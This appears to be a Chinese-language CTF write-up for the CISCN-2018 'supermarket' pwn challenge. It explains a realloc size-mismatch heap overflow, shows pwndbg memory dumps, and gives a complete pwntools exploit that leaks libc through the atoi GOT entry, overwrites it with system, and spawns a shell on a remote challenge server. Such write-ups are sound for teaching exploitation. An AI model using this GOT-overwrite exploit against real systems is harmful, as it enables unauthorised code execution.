【XCTF攻防世界】supermarket Writeup

@t3ls  August 7, 2019

XCTF攻防世界:supermarket

原题:CISCN-2018 : supermarket

题目链接:https://github.com/t3ls/pwn/raw/master/XCTF-adworld/supermarket/supermarket.tar.gz

原理

程序实现了5个功能,添加、删除商品,查看所有商品的信息,改变商品的价格和描述

[email protected]:/tmp$ ./supermarket  
#  ____ _   _ ___  ____ ____ ___  ____ ____ ____ ____  
#  |     \_/  |__] |___ |__/ |__] |___ |__| |    |___ 
#  |___   |   |__] |___ |  \ |    |___ |  | |___ |___ 
#
#  Welcome to CyberPeace supermarket!
#
---------menu---------
1. add a commodity
2. del a commodity
3. list commodities
4. Change the price of a commodity
5. Change the description of a commodity 
6. exit
your choice>> 

第一件事就是逆出每个商品信息存储的数据结构,配合动态调试会容易一些:

00000000 item            struc ; (sizeof=0x1C, mappedto_5)
00000000                                         ; XREF: .bss:ITEM/r
00000000 name            db 16 dup(?)            ; XREF: ___add+13/r
00000000                                         ; ___add+C9/w ...
00000010 price           dd ?
00000014 desc_size       dd ?
00000018 desc_ptr        dd ?                    ; offset
0000001C item            ends
0000001C

然后我们再回头找漏洞,这个题的漏洞在修改商品描述的函数中

char *change_desc()
{
  int idx; // [esp+8h] [ebp-10h]
  int size; // [esp+Ch] [ebp-Ch]

  idx = find_name();
  if ( idx == -1 )
    return (char *)puts("not exist");
  for ( size = 0; size <= 0 || size > 256; size = read_int() )
    printf("descrip_size:");
  if ( ITEM[idx]->desc_size != size )
    realloc(ITEM[idx]->desc_ptr, size);         // 未更新size
  printf("description:");
  return cos_read(ITEM[idx]->desc_ptr, ITEM[idx]->desc_size);
}

新输入的size重新调整了堆的大小但是没有更新结构体中的size,而输入的数据大小是根据结构体中的size计算的,所以可以通过溢出修改下一件商品结构体的desc_ptr指针,实现任意读写;

实现的大概效果就是下面这样的

pwndbg> x/40wx 0x0804c150
0x804c150:    0x00000000    0x00000000    0x00000000    0x00000021  // A
0x804c160:    0x00000032    0x00000000    0x00000000    0x00000000
0x804c170:    0x00000002    0x00000030    0x0804c180    0x00000021  // A desc
0x804c180:    0x00000032    0x00000000    0x00000000    0x00000000
0x804c190:    0x00000000    0x00000000    0x00000000    0x00000021  // B
0x804c1a0:    0x00003636    0x00000000    0x00000000    0x00000000
0x804c1b0:    0x00000003    0x00000020    0x0804c1c0    0x00000031    // B desc
0x804c1c0:    0x00000036    0x00000000    0x00000000    0x00000000
0x804c1d0:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c1e0:    0x00000000    0x00000000    0x00000000    0x00021e19

注意到0x804c174这个地址存的就是A商品描述字符串的堆块大小,我们修改描述的时候是通过这个字段来判断的,相应的,0x0804c180就是A的商品描述堆块的地址,所以,通过这一点,我们可以修改0x804c1b8存储的指针,也就是B的desc_ptr,实现泄露libc,getshell

exp

from pwn import *
context.update(arch='i386', log_level='debug')

p = remote('111.198.29.45', 38007)
#p = process('./supermarket')
e = ELF('./supermarket')
#l = e.libc
l = ELF('./libc.so.6')

def add(name, price, size, desc):
    p.sendlineafter('>>', '1')
    p.sendlineafter('name', str(name))
    p.sendlineafter('price', str(price))
    p.sendlineafter('size', str(size))
    p.sendafter('description', str(desc))

def delete(name):
    p.sendlineafter('>>', '2')
    p.sendlineafter('name', str(name))

def show():
    p.sendlineafter('>>', '3')
    p.recvuntil('B:')
    p.recvuntil('des.')
    return p.recvuntil('\n', drop=True)

def change_desc(name, size, desc):
    p.sendlineafter('>>', '5')
    p.sendlineafter('name', str(name))
    p.sendlineafter('size', str(size))
    p.sendafter('description', str(desc))


if __name__ == '__main__':
    add('A', '1', '256', '\n')
    change_desc('A', '8', '\n')
    add('B', '1', '16', '\n')
    payload = flat(['a'*0xc, 0x21, ord('B'), 'a'*0xc, 0x1, 0x10, e.got['atoi']])
    change_desc('A', '256', payload+'\n')
    l.address = u32(show()[:4]) - l.symbols['atoi']
    print('libc:',hex(l.address))
    change_desc('B', '16', p32(l.symbols['system'])+'\n')
    p.sendlineafter('>>','/bin/sh\x00')
    p.interactive()

添加新评论